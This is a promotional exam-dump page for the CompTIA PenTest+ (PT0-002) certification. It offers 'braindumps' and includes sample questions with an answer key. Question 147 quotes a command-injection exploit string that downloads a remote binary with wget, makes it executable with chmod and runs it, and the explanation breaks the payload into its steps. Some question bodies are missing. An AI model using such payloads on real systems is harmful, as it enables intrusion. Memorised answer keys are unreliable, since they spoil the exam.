Our braindumps for PT0-002 real exam are written to highest standard of technical profession, tested by our senior IT experts and certified trainers. You can totally trust our PT0-002 exam prep materials because we guarantee the best quality of our products. With our latest PT0-002 Training Materials, you will pass the certification exam in your first try. We hope you clear exam successfully with our products.

Choose the CompTIA PT0-002 Certification Exam: a guide on how you might choose Certification Exam

A guide dedicated to helping people pass the CompTIA PT0-002 exam

How to Pass the CompTIA PT0-002 Certification Exam: all about the preparation and test-taking tips

CompTIA PT0-002 Certification Exam examines the knowledge and skills required to plan and scope a penetration testing engagement including vulnerability scanning, understand legal and compliance requirements, analyze results and produce a written report with remediation techniques, of the candidate. The candidate must demonstrate the ability to create and execute a penetration testing engagement by using the tools and techniques to identify, assess, and report vulnerabilities in computer systems. In this study guide, we will share many resources including the **PT0-002 Dumps** that you can use to get ready for the CompTIA PT0-002 Certification Exam.

Here we are going to provide detailed information on CompTIA PT0-002 Certification Exam. We have provided a detailed description of the PT0-002 Certification Exam. So that, you can prepare for the exam and get good marks. We will discuss all the aspects of the PT0-002 exam. The objectives, the syllabus, the structure, the type of questions, the format of the exam, the cost of the CompTIA PT0-002 Certification Exam, and other details. We will provide you with all the information that you require to pass the exam. If you want to get ready for the CompTIA PT0-002 Certification Exam, then you are at the right place. Let's get started.

CompTIA PT0-002 exam contains a maximum of 85 questions, which are a combination of multiple-choice and performance-based questions. Candidates must score at least 750 out of 900 points to pass the exam. PT0-002 exam duration is 165 minutes, and registration fee is \$359. PT0-002 exam can be taken at any Pearson VUE testing center worldwide, and it is available in English, Japanese, and Portuguese language.

If you are preparing for the exam in order to get the related certification, here comes a piece of good news for you. The PT0-002 guide torrent is compiled by our company now has been praised as the secret weapon for candidates who want to pass the PT0-002 exam as well as getting the related certification, so you are so lucky to click into this website where you can get your secret weapon. Our reputation for compiling the best PT0-002 Training Materials has created a sound base for our future business. We are clearly focused on the international high-end market, thereby committing our resources to the specific product requirements of this key market sector. There are so many advantages of our PT0-002 exam torrent, and now, I would like to introduce some details about our PT0-002 guide torrent for your reference.

CompTIA PenTest+ Certification Sample Questions (Q144-Q149):

NEW QUESTION # 144

A penetration tester runs a reconnaissance script and would like the output in a standardized machine-readable format in order to pass the data to another application. Which of the following is the best for the tester to use?

- A. JSON
- B. Lists
- C. XLS
- D. Trees

Answer: A

Explanation:

JSON (JavaScript Object Notation) is the best format for a penetration tester to use when they need the output of a reconnaissance script in a standardized machine-readable format to pass data to another application. JSON is widely supported across different programming languages and platforms, making it an ideal choice for data interchange. It allows for the hierarchical organization of data, is easy to read and write, and can be parsed and generated by numerous tools and libraries. This makes JSON a versatile and practical choice for a variety of applications in penetration testing and beyond.

Reference:

RFC 8259 - The JavaScript Object Notation (JSON) Data Interchange Format

OWASP - JSON Security

NEW QUESTION # 145

A penetration tester captured the following traffic during a web-application test:

Which of the following methods should the tester use to visualize the authorization information being transmitted?

- A. Decode the authorization header using UTF-8.
- B. **Decode the authorization header using Base64.**
- C. Decrypt the authorization header using AES.
- D. Decrypt the authorization header using bcrypt.

Answer: B

NEW QUESTION # 146

Given the following code:

```
systems = {  
    "10.10.10.1" : "Windows 10",  
    "10.10.10.2" : "Windows 10",  
    "10.10.10.3" : "Windows 2016",  
    "10.10.10.4" : "Linux"  
}
```

Which of the following data structures is systems?

- A. A dictionary
- B. A tuple
- C. An array
- D. A tree

Answer: A

Explanation:

A dictionary is a data structure in Python that stores key-value pairs, where each key is associated with a value. A dictionary is created by enclosing the key-value pairs in curly braces and separating them by commas.

A dictionary can be accessed by using the keys as indexes or by using methods such as `keys()`, `values()`, or `items()`. In the code, `systems` is a dictionary that has four key-value pairs, each representing an IP address and its corresponding operating system. A tuple is a data structure in Python that stores an ordered sequence of immutable values, enclosed in parentheses and separated by commas. A tree is a data structure that consists of nodes connected by edges, forming a hierarchical structure with a root node and leaf nodes. An array is a data structure that stores a collection of elements of the same type in a contiguous memory location.

NEW QUESTION # 147

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = "POST."

```
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -  
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache%0A%27&loginUser=a&Pwd=a"  
exploit += "HTTP/1.1"
```

Which of the following commands should the penetration tester run post-engagement?

- A. chmod 600 /tmp/apache
- **B. rm -rf /tmp/apache**
- C. taskkill /IM "apache" /F
- D. grep -v apache ~/.bash_history > ~/.bash_history

Answer: B

Explanation:

The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:

cd /tmp: change the current directory to /tmp

wget http://10.10.0.1/apache: download a file named apache from http://10.10.0.1

chmod 777 apache: change the permissions of the file to allow read, write, and execute for everyone

./apache: run the file as an executable

The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command rm -rf /tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.

NEW QUESTION # 148

A CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal Sendmail server. To remain stealthy, the tester ran the following command from the attack machine:

Which of the following would be the BEST command to use for further progress into the targeted network?

- A. nc 10.10.1.2
- **B. nc 127.0.0.1 5555**
- C. ssh 127.0.0.1 5555
- D. ssh 10.10.1.2

Answer: B

NEW QUESTION # 149
